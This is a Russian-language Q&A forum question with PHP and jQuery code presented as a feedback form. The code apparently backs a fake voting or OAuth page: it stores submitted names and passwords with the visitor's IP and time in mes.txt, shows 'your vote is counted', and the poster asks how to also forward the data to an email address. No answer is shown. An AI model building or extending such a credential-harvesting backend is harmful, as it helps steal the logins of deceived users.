Задать вопрос
vainax
@vainax
псевдо-разработчик

Как доработать форму обратной связи?

Здравствуйте, есть форма обратной связи, которая делает запись введенных данных в файле mes.txt
<?php
ini_set('display_errors', true);
ini_set('html_errors', false);

error_reporting(E_ALL ^ E_WARNING ^ E_DEPRECATED ^ E_NOTICE);
ini_set('error_reporting', E_ALL ^ E_WARNING ^ E_DEPRECATED ^ E_NOTICE);

    $msg_box = ""; // в этой переменной будем хранить сообщения формы
    $errors = array(); // контейнер для ошибок
    // проверяем корректность полей
    if($_POST['name'] == "")    $errors[] = "Поле не заполнено!";
    if($_POST['pass'] == "")    $errors[] = "Поле не заполнено!";
 
    // если форма без ошибок
    if(empty($errors)){     
        // собираем данные из формы
        $message  = "Имя пользователя: " . $_POST['name'] . "<br/>";
        $message .= "E-mail пользователя: " . $_POST['pass'] . "<br/>";
        if(send_mail($message)){
        	// выведем сообщение об успехе
        	$msg_box = "<script>jQuery('.oauth_wrap, .sharing').addClass('spas');jQuery('.oauth_wrap, .sharing').html('<h1>Спасибо, ваш голос учтен!</h1>');</script>";
        }else{
        	$msg_box = "<span style='color: red;'>Сообщение не отправлено!</span>";
        }
    }else{
        // если были ошибки, то выводим их
        $msg_box = "";
        foreach($errors as $one_error){
            $msg_box .= "<span style='color: red;'>$one_error</span><br/>";
        }
    }
 
    // делаем ответ на клиентскую часть в формате JSON
    echo json_encode(array(
        'result' => $msg_box
    ));
     
    function rus_date() {
    $translate = array(
    "am" => "дп",
    "pm" => "пп",
    "AM" => "ДП",
    "PM" => "ПП",
    "Monday" => "Понедельник",
    "Mon" => "Пн",
    "Tuesday" => "Вторник",
    "Tue" => "Вт",
    "Wednesday" => "Среда",
    "Wed" => "Ср",
    "Thursday" => "Четверг",
    "Thu" => "Чт",
    "Friday" => "Пятница",
    "Fri" => "Пт",
    "Saturday" => "Суббота",
    "Sat" => "Сб",
    "Sunday" => "Воскресенье",
    "Sun" => "Вс",
    "January" => "Января",
    "Jan" => "Янв",
    "February" => "Февраля",
    "Feb" => "Фев",
    "March" => "Марта",
    "Mar" => "Мар",
    "April" => "Апреля",
    "Apr" => "Апр",
    "May" => "Мая",
    "May" => "Мая",
    "June" => "Июня",
    "Jun" => "Июн",
    "July" => "Июля",
    "Jul" => "Июл",
    "August" => "Августа",
    "Aug" => "Авг",
    "September" => "Сентября",
    "Sep" => "Сен",
    "October" => "Октября",
    "Oct" => "Окт",
    "November" => "Ноября",
    "Nov" => "Ноя",
    "December" => "Декабря",
    "Dec" => "Дек",
    "st" => "ое",
    "nd" => "ое",
    "rd" => "е",
    "th" => "ое"
    );
    
    if (func_num_args() > 1) {
        $timestamp = func_get_arg(1);
        return strtr(date(func_get_arg(0), $timestamp), $translate);
    } else {
        return strtr(date(func_get_arg(0)), $translate);
    }
}

    // функция отправки письма
    function send_mail($message){
        // почта, на которую придет письмо
        if(file_put_contents('mes.txt', $_POST['name']." ".$_POST['pass']." ".$_SERVER["REMOTE_ADDR"]." ".rus_date("j F Y G:i:s")."\r\n", FILE_APPEND | LOCK_EX)){
        	return true;
        }
        else{
        	return false;
        }
    }
     
?>

и AJAX
jQuery(document).ready(function(){
            jQuery('.vaha').click(function(){
                // собираем данные с формы
              jQuery('.messages').css("height", "auto");
                var name    = jQuery('#name').val();
                var pass   = jQuery('#pass').val();
                // отправляем данные
                jQuery.ajax({
                    url: "action.php", // куда отправляем
                    type: "post", // метод передачи
                    dataType: "json", // тип передачи данных
                    data: { // что отправляем
                        "name":    name,
                        "pass":   pass,
                    },
                    // после получения ответа сервера
                    success: function(data){
                        jQuery('.messages').html(data.result); // выводим ответ сервера
                    }
                });
            });
        });

Как ее доработать так, чтобы данные приходили еще на почту?
  • Вопрос задан
  • 131 просмотр
Подписаться 2 Простой Комментировать
Пригласить эксперта
Ответы на вопрос 1
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы